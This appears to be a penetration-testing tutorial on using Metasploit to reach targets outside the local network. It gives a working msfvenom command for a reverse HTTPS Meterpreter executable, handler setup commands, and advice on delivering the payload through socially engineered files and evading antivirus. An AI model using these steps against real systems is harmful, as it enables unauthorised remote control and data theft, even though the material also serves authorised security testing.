Metasploit Without Being on the Same Network

In penetration testing, Metasploit is a popular tool for ethical hackers and cybersecurity professionals. One challenge we often face is using Metasploit effectively when the target device is not on the same network. In this article, we’ll explore deploying a payload using Metasploit without being on the same network.

Understanding the problem

Metasploit works exceptionally well when the attacking machine and the target are on the same network. However, in modern scenarios, targets are often located entirely behind NAT (Network Address Translation) or on other networks. This situation calls for innovative solutions that bypass network boundaries and successfully establish connections with payloads.

What is a payload in Metasploit?

Before we dive into the techniques, let’s briefly discuss what a payload is in Metasploit. A payload is a piece of code that executes on a target computer after a successful exploit. It can serve various purposes, e.g.

• Establishing a reverse shell.
• Executing commands on the target system.
• Collection of sensitive data.

Techniques for deploying payloads without being on the same network

1. Port forwarding using public servers

Port forwarding is the basic method of allowing external access to a device within a private network. Tools like Ngrok or Cloudflare Tunnel allow you to securely expose a local port to the Internet.

• Step 1: Download and install Ngrok.
• Step 2: Start a Ngrok session with the desired port.
• Step 3: Configure the Metasploit payload using the public URL and port provided by Ngrok.

This approach ensures that the payload connects back to your computer even if separated by NAT.

2. Retrieving HTTP/HTTPS data

Reverse HTTP/HTTPS payloads are efficient because they use standard web traffic to bypass firewalls and NAT. These blocks send data back to the attacker’s computer over an HTTP or HTTPS connection.

Advantages:

• It mimics normal web traffic and reduces the chances of detection.
• Works without problems through most firewalls.

Configuration steps:

• Generate a payload using Metasploit with the windows/meterpreter/reverse_http or windows/meterpreter/reverse_https module.
• Embed the payload into an executable or a document.

3. Inserting data into shared files

To reach targets that are not on the same network, a popular tactic is to embed data in common file types such as PDFs, Word documents, or images. Social engineering techniques can be used to deliver these files to the target.

Required tools:

• Veil Framework or MSFVenom.

Process:

• Use MSFVenom to generate the payload.
• Insert the data part into the file using Veil Framework or similar tools.
• Share the file with the target via email, messaging platforms, or file-sharing services.

4. Custom DNS tunneling

DNS tunneling allows attackers to establish communications with a target by encoding data into DNS queries. Although this method requires advanced skills, it is effective for bypassing firewalls.

Steps:

• Set up a DNS server under your control.
• Configure the data part to use DNS queries for communication.
• Monitor and control payloads through a DNS server.

Advantages:

• It bypasses most firewalls.
• Appears as legitimate DNS traffic.

Generating a Payload for Remote Deployment

Let’s create a payload using MSFVenom, a popular payload generation tool within the Metasploit framework. Here’s an example:

msfvenom -p windows/meterpreter/reverse_https LHOST=<your-public-IP-or-Domain> LPORT=443 -f exe > payload.exe

• LHOST: Specify the public IP or domain for reverse connection.
• LPORT: Use a common port like 443 to reduce detection.
• Output Format: The payload is generated as an executable file.

Once the payload is created, deliver it to the target using the methods mentioned above.

Setting Up a Listener in Metasploit

After deploying the payload, you need to set up a listener to capture the connection.

1. Launch Metasploit Framework:

   msfconsole

2. Use the appropriate handler module:

   use exploit/multi/handler

3. Configure the handler:

   set payload windows/meterpreter/reverse_https
   set LHOST <your-public-IP-or-Domain>
   set LPORT 443
   exploit -j

The handler will wait for the payload to connect back, allowing you to interact with the compromised system.

Bypassing antivirus and detection mechanisms

Modern antivirus solutions and endpoint detection systems can identify Metasploit payloads. To increase your success rate:

• Use Payload Obfuscation: Tools like Shelter or VVeil-Evasion can help bypass antivirus.
• Employ Code Signing Certificates: Sign your payload with a legitimate certificate to reduce detection.
• Use encrypted communication: Always use HTTPS-based data parts for secure and untraceable communication.

Ethical considerations

While these techniques demonstrate the versatility of Metasploit, they must only be used in legal and ethical contexts such as authorized penetration testing or red teaming. Unauthorized use can have serious legal consequences.

Conclusion

Deploying a payload using Metasploit without being on the same network requires creative solutions and advanced techniques. By leveraging tools like Ngrok, HTTP/HTTPS reverse traffic, VPS traffic, and DNS tunneling, cybersecurity professionals can extend their reach and perform effective penetration testing. Always prioritize ethical use and ensure compliance with legal standards.